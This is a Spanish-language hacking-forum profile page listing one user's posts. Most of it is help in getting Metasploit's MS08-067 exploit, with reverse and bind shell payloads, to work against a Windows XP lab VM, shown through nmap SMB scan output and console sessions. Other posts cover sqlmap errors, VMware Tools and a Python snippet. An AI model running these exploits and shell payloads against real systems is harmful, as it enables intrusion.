Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginHagamos hincapié en que está recién instalado, con todos los valores por defecto excepto el cortafuegos.
Por alguna extraña razón (puede que sea un parche o puede que no) tu samba no permite la interactuación NT_STATUS_ACCESS_DENIED
CitarOtra hipótesis es que tengas configuradas una políticas de iptables en tu kali de manera que no permite la conexión porque cuando sale el attempting to trigger the vulnerability indica que el meterpreter se ejecuta pero lanza un time out. Puedes probar a cambiar el payload por un bind_tcp.De primeras el estado de la tarjeta no estaba replicado. Marqué la casilla en la configuración de VMware y arranqué de nuevo. Bien, empezando por las iptables, éstas están desactivadas.
Otro problema como tu dices sería la red normalmente la gente tiene problema al dejarlo en NAT pero como mencionaste anteriormente la tienes en adaptador puente ¿Has seleccionado replicar el estado?
root@KaliSana:/home/rand0m# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Service Info: OS: Windows XP; CPE: cpe:/o:microsoft:windows_xp
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-check-vulns:
| MS08-067: NOT VULNERABLE
| Conficker: Likely CLEAN
| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
| MS06-025: NO SERVICE (the Ras RPC service is inactive)
|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)
|_smb-vuln-ms10-054: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
TRACEROUTE
HOP RTT ADDRESS
1 0.51 ms x-c77d82deb3b94.home (192.168.1.17)
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginEn el primer intento que hice fue el que intenté utilizar. Acabo de usarlo contra la máquina nueva y sigue sin dar resultado.
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login al parecer lo que esta andando mal es el payload no el exploit, proba con alguna shell inversa como windows/meterpreter/reverse_tcp.
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.17 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: , , seh, thread, process, none)
LHOST 192.168.1.14 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targetingmsf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.1.14:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.14
LHOST => 192.168.1.14
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.1.14:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
msf exploit(ms08_067_netapi) > set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginCáncer de SIDAYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Quemando los dedos.
todojunto o se pa ra do?
se pa ra do
Cancer o sida?
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login1º- Eso no es una prueba de concepto. Si quieres llamarlo de alguna manera llámalo Demo.
Aquí tienes una prueba de concepto con el mismo exploit que usted ha intentado utilizar:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginNo sé, chico, pero tus estadísticas se desmienten en el laboratorio.
Lamento decepcionarte pero el exploit no sólo afecta al service pack 1 de Windows XP. Si dedicas 2 minutos a buscar información sobre dicho exploit en la página principal de rapid7 (You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login) podrás ver que afecta desde el SP1 hasta el SP3 pasando por el SP2 además de Windows 2000 (Universal) y Windows 2003 (SP1 y SP2).
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginEntonces entiendo que con tests de stress nos referimos a Fuzzers.
Los test de stress consisten en hacer fallar al sistema por medio de un exceso de peticiones y ver como regresa a su estado normal además de examinar esa falla.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginAdemás de eso, añadir también que a la hora de hacer un simple snippet como éste no se nota demasiado, pero cuando estamos haciendo algo más largo el tamaño del script se nos puede desmadrar por estas cosas.
Conclusión: siempre que escribas cualquier código, primero pensá bien qué es lo que querés hacer y cómo vas a lograrlo. Planificá bien todo y, recién ahí sentate a codear. Python es simple. No te compliques. Siempre que tengas un código medio redundante, analizalo bien porque seguro que hay cosas prescindibles.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginEn VMware, con la máquina arrancada, hacemos click en "Player">"Manage">"Install VMware Tools". Ésto nos monta una unidad de CD que deberemos copiar a nuestra carpeta /tmp/ (Por ejemplo, es a donde suelo llevarlo yo), descomprimirlo e instalarlo.
no tengo idea si en VMware u otras es lo mismo
#apt-get install linux-headers-`uname -r`root@KaliSana:~# uname -r
4.0.0-kali1-686-pae
root@KaliSana:~# echo "linux-headers-`uname -r`"
linux-headers-4.0.0-kali1-686-paeYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginLo ideal en estos casos es que busques el SQLi manualmente y luego le pases a los parámetros correctos.
[10:45:19] [WARNING] GET parameter 'id' is not injectable
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginEse mensaje está muy claro. Estás empezando a pedir que usemos sqlmap por ti. Deberías descargarte algún wargame con los que practicar en vez de estar atacando bases de datos privadas con una conexión sin ofuscar, porque está claro que no tienes ni idea de SQLi. Lo siento, pero eso se ve.
ahh y ademas este mensaje me trae de cabeza... estoy buscando alguna solucion en internet y la mayoria es en ingles...
[20:22:05] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginYo estoy utilizando Disable WebRTC en You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login (Mozilla Firefox 64bit) desde hace bastante tiempo y no tengo ningún problema.
Alguien lo usa y le funciona?? Creo que es momento de cambiar de navegador. Alguien sugiere alguno open? Cómo está Iceweasel?
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginEn tu código bastaría con incluir un array en el que guardar el resultado, tal que así:
El problema es que la lista se volvía a crear con cada bucle. Tenés que crearla afuera (lista = []) y dentro del bucle le agregas los valores que quieras (lista.append()).
cadena="aAbbBcCab"
n=0
resultado = []
for caracter in cadena:
a=cadena.count(caracter)
y=str(a)
z=len(cadena)
lista=range(z)
lista[n]=y+caracter
resultado.append(lista[n])
n=n+1
print resultado[:]CitarZ:\amazingdir>python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
['2a', '1A', '3b', '3b', '1B', '1c', '1C', '2a', '3b']
